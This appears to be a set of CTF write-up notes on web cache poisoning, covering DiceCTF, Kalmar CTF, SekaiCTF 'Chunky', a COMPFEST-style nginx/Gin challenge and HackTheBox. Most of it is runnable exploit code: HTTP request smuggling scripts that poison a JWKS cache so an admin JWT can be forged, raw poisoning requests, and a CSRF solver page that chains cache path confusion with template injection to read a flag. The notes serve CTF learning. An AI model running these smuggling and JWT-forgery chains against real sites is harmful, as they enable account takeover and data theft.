Cache probing attack in nextjs special path _next/image
| Event Name | DiceCTF Quals 2025 |
| GitHub URL | - |
| Challenge Name | old-site-b-side |
Attachments
References
<?><img src=http://localhost:3000/_next/image?url=/api/me/badge&w=640&q=1><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
for (let i = 0; i < 100; i++) {
open("<http://localhost:3000/>")
}
</script>
</body>
</html>
Cache Poisoning in VCL can escalate self XSS to XSS
| Event Name | Kalmar CTF 2025 |
| GitHub URL | https://github.com/kalmarunionenctf/kalmarctf/tree/main/2025 |
| Challenge Name | Kalmar Notes |
Attachments
GET /note/126588202765/long?.js HTTP/2
Host: b5b5616f803aea138236147c5301829b-44533.inst1.chal-kalmarc.tf
Cookie: session=eyJ1c2VyX2lkIjoyfQ.Z8_7DQ.1KQIw30edxTFfpnn0WJ60HpSlTw
sub vcl_recv {
if (req.url ~ "\.(js|css|png|gif)$") {
set req.http.Cache-Control = "max-age=10";
return (hash);
}
}
Chunky (Unitended) (SekaiCTF 2023)
cache poisoning using request smuglingchunky unintended:
GET /{user_id}/.well-known/jwks.json /../../..{post_url}
server thinks its http/0.9 and it caches the response no
transfer-encoding stuff needed.
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json
import httpx
from pwn import *# URL = "http://localhost:8080"URL = "http://chunky.chals.sekai.team:8080/"context.log_level = logging.INFO
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
class UtilsAPI(BaseAPI):
def __init__(self, url=URL) -> None:
self.private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048 )
self.public_key = self.private_key.public_key()
super().__init__(url)
def generate_jwks(self):
pem = self.public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo,
)
x5c = pem.decode().split("-----")[2].strip()
jwks = {
"keys": [
{
"alg": "RS256",
"x5c": [x5c]
}
]
}
return jwks
def get_private_key_pem(self):
private_key_pem = self.private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
return private_key_pem
def send_raw(s, raw):
r = remote(s.c.base_url.host, s.c.base_url.port)
r.send(raw)
return r.recv(4092).decode().replace("\r\n", "\n")
class API(UtilsAPI):
def signup(s, username, password):
return s.c.post("/signup", data={
"username": username,
"password": password
})
def login(s, username, password):
return s.c.post("/login", data={
"username": username,
"password": password
})
def create_post(s, title, content):
return s.c.post("/create_post", data={
"title": title,
"content": content
})
def flag(s, auth):
return s.c.get("/admin/flag", headers={
"Authorization": "Bearer "+auth
})
if __name__ == "__main__":
api = API()
username = "dimas" password = "dimas" api.signup(username, password)
api.login(username, password)
title = json.dumps(api.generate_jwks())
payload = f"""\HTTP/1.1 200 OkContent-Type: application/jsonContent-Length: {len(title)}Connection: close\r{title}""" res = api.create_post(payload, "")
location = res.headers['location']
log.info("Location: %s", location)
userid = location.split("/")[-2]
log.info("User Id: %s", userid)
raw = f"""\GET /{userid}/.well-known/jwks.json /../../..{location}host: xConnection: close\r""".encode()
# send cache poisoning api.send_raw(raw)
auth = jwt.encode(
payload={"user": "admin"},
key=api.get_private_key_pem(),
algorithm="RS256" ).decode()
res = api.flag(auth)
print(res.text)
intended
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json
import httpx
from pwn import *URL = "http://localhost:8080"# URL = "http://chunky.chals.sekai.team:8080/"context.log_level = logging.INFO
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
class UtilsAPI(BaseAPI):
def __init__(self, url=URL) -> None:
self.private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048 )
self.public_key = self.private_key.public_key()
super().__init__(url)
def generate_jwks(self):
pem = self.public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo,
)
x5c = pem.decode().split("-----")[2].strip()
jwks = {
"keys": [
{
"alg": "RS256",
"x5c": [x5c]
}
]
}
return jwks
def get_private_key_pem(self):
private_key_pem = self.private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
return private_key_pem
def send_raw(s, raw):
r = remote(s.c.base_url.host, s.c.base_url.port)
r.send(raw)
return r.recv(4092).decode().replace("\r\n", "\n")
class API(UtilsAPI):
def signup(s, username, password):
return s.c.post("/signup", data={
"username": username,
"password": password
})
def login(s, username, password):
return s.c.post("/login", data={
"username": username,
"password": password
})
def create_post(s, title, content):
return s.c.post("/create_post", data={
"title": title,
"content": content
})
def flag(s, auth):
return s.c.get("/admin/flag", headers={
"Authorization": "Bearer "+auth
})
if __name__ == "__main__":
api = API()
username = "dimas" password = "dimas" api.signup(username, password)
api.login(username, password)
title = json.dumps(api.generate_jwks())
res = api.create_post(title, "")
post = res.headers['location']
log.info("Location: %s", post)
userid = post.split("/")[-2]
log.info("User Id: %s", userid)
smuggle = "GET {} HTTP/1.1\r\nHost: localhost\r\n\r\n".format(post)
http_request = f"""\GET /post/x/x HTTP/1.1Host: localhostContent-Length: {5+len(smuggle)}transfer-encoding: chunked\r0\r\r{smuggle}GET /{userid}/.well-known/jwks.json HTTP/1.1Host: localhost\r""" # send cache poisoning print(http_request.replace("\r", ""))
res = api.send_raw(http_request)
print(res)
auth = jwt.encode(
payload={"user": "admin"},
key=api.get_private_key_pem(),
algorithm="RS256" ).decode()
res = api.flag(auth)
print(res.text)
solve
from jwcrypto import jwk
import requests
import string
import random
import time
import json
import jwt
from pwn import *
def random_string():
res = "".join(random.choices(string.ascii_uppercase + string.digits, k=32))
return res
key = jwk.JWK.generate(kty="RSA", size=2048, use="sig")
pubkey = b"".join(key.export_to_pem().splitlines()[1:-1]).decode()
privkey = key.export_to_pem(private_key=True, password=None)
jwks = json.dumps({"keys": [{"alg": "RS256", "x5c": [pubkey]}]})
if args.REMOTE:
host = "chunky.chals.sekai.team"
port = "8080"
else:
host = "127.0.0.1"
port = "8080"
base_url = "http://{}:{}".format(host, port)
signup_url = base_url + "/signup"
login_url = base_url + "/login"
post_url = base_url + "/create_post"
flag_url = base_url + "/admin/flag"
jwks_url_template = base_url + "/{user_id}/.well-known/jwks.json"
s = requests.Session()
def signup(username, password):
form_data = {"username": username, "password": password}
r = s.post(signup_url, data=form_data, allow_redirects=False)
return r.status_code == 302
def login(username, password):
form_data = {"username": username, "password": password}
r = s.post(login_url, data=form_data, allow_redirects=False)
return r.status_code == 302
def create_blog_post(title, content):
form_data = {"title": title, "content": content}
r = s.post(post_url, data=form_data, allow_redirects=False)
redir = r.headers.get("Location")
parts = redir.rsplit("/", maxsplit=2)
print(parts)
user_id = parts[1]
post_id = parts[2]
result = (len(user_id) == 36) and (len(post_id) == 36)
return (user_id, post_id), (r.status_code == 302 and result)
def poison_cache(user_id, post_id):
payload = "\r\n".join(
[
f"GET /{random_string()} HTTP/1.1",
"Host: {host}:{port}".format(host=host, port=port),
"Transfer-EncodinG: chunked\r\n",
]
)
poison = "\r\n".join(
[
"0",
"",
"GET /post/{user_id}/{post_id} HTTP/1.1".format(
user_id=user_id, post_id=post_id
),
"Rik: X",
]
)
to_poison = "\r\n".join(
[
"GET /{user_id}/.well-known/jwks.json HTTP/1.1".format(user_id=user_id),
"Host: {host}:{port}".format(host=host, port=port),
"",
]
)
content_length = len(poison)
payload += "Content-Length: %d\r\n\r\n" % content_length
payload += poison
payload += to_poison
print(payload.replace("\r", ""), flush=True)
r = remote(host, port)
r.send(payload)
r.close()
username = random_string()
password = random_string()
print(username)
print(password)
print(signup(username, password))
print(login(username, password))
(user_id, post_id), result = create_blog_post(jwks, "")
print(user_id, post_id, result)
poison_cache(user_id, post_id)
time.sleep(3)
r = s.get(jwks_url_template.format(user_id=user_id))
print(r.text)
payload = {"user": "admin"}
admin_jwt = jwt.encode(payload, privkey, "RS256")
headers = {"Authorization": f"Bearer {admin_jwt}"}
r = s.get(flag_url, headers=headers)
print(r.text)Cache poisoning in URL Path
https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html
merge_slashes off;
location /assets/ {
proxy_pass http://server:8000;
proxy_cache assets_cache;
proxy_cache_valid any 10s;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $remote_addr;
add_header X-Cache-Status $upstream_cache_status;
}
func CSP() gin.HandlerFunc {
return func(ctx *gin.Context) {
host := ctx.Request.Host
rules := "default-src 'none';"
rules += " frame-src 'self';"
rules += " script-src http://" + host + "/assets/tailwind.js;"
rules += " style-src 'unsafe-inline';"
ctx.Header("Content-Security-Policy", rules)
ctx.Next()
}
}
router := gin.Default(func(e *gin.Engine) {
e.RemoveExtraSlash = true
})
solver
import os, hashlib, requests, re
from flask import Flask, render_template_string
template = """
<form method="POST" action="{{ host_url }}/admin/themes" target="_blank" id="create-template-form">
<input type="text" name="name" value="{{ template_name }}">
<input type="text" name="template" value='{{ template_body }}'>
</form>
<form method="POST" action="{{ host_url }}/theme" target="_blank" id="set-theme-form">
<input type="text" name="theme" value="{{ template_name }}">
</form>
<form method="POST" action="{{ host_url }}/notes" target="_blank" id="create-note-form">
<input type="text" name="name" value="{{ note_name }}">
<input type="text" name="content" value="{{ note_body }}">
</form>
<form method="GET" action="{{ host_url }}/assets/%2F../notes/{{ note_hash }}" target="_blank" id="get-note-cache-form">
<input type="text" name="a" value="b">
</form>
<script>
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
const solve = async () => {
document.getElementById('create-template-form').submit();
await sleep(1000);
document.getElementById('set-theme-form').submit();
await sleep(1000);
document.getElementById('create-note-form').submit();
await sleep(1000);
document.getElementById('get-note-cache-form').submit();
await sleep(1000);
fetch("/fetch-flag/{{ note_hash }}")
};
document.addEventListener("DOMContentLoaded", function() {
solve();
});
</script>
"""
app = Flask(__name__)
HOST_URL = 'https://test.meervix.com'
TEMPLATE_NAME = os.urandom(16).hex()
TEMPLATE_BODY = '{{ .Update "../../../flag.txt" "lulski" }} {{ .Name }} {{ .Content }} {{ .Render "theme" }}'
@app.route('/')
def index():
note_name = os.urandom(16).hex()
note_body = os.urandom(16).hex()
note_hash = hashlib.sha256(note_name.encode() + b"_" + note_body.encode()).hexdigest()
return render_template_string(template, **{
"host_url": HOST_URL,
"template_name": TEMPLATE_NAME,
"template_body": TEMPLATE_BODY,
"note_name": note_name,
"note_body": note_body,
"note_hash": note_hash,
})
@app.route("/fetch-flag/<note_hash>")
def fetch_flag(note_hash: str):
flag_url = f"{HOST_URL}/assets/%2F../notes/{note_hash}?a=b"
s = requests.Session()
req = requests.Request(method='GET', url=flag_url)
prep = req.prepare()
prep.url = flag_url
res = s.send(prep, verify=False)
try:
flag = re.findall(r"COMPFEST16{.+?}", res.text)[0]
print(flag)
except:
print("FLAG not found")
return ""
if __name__ == '__main__':
app.run(debug=True)
Cache poisoning in nodejs package
Business CTF 2022: Chaining Self XSS with Cache Poisoning - Felonious Forums (hackthebox.com)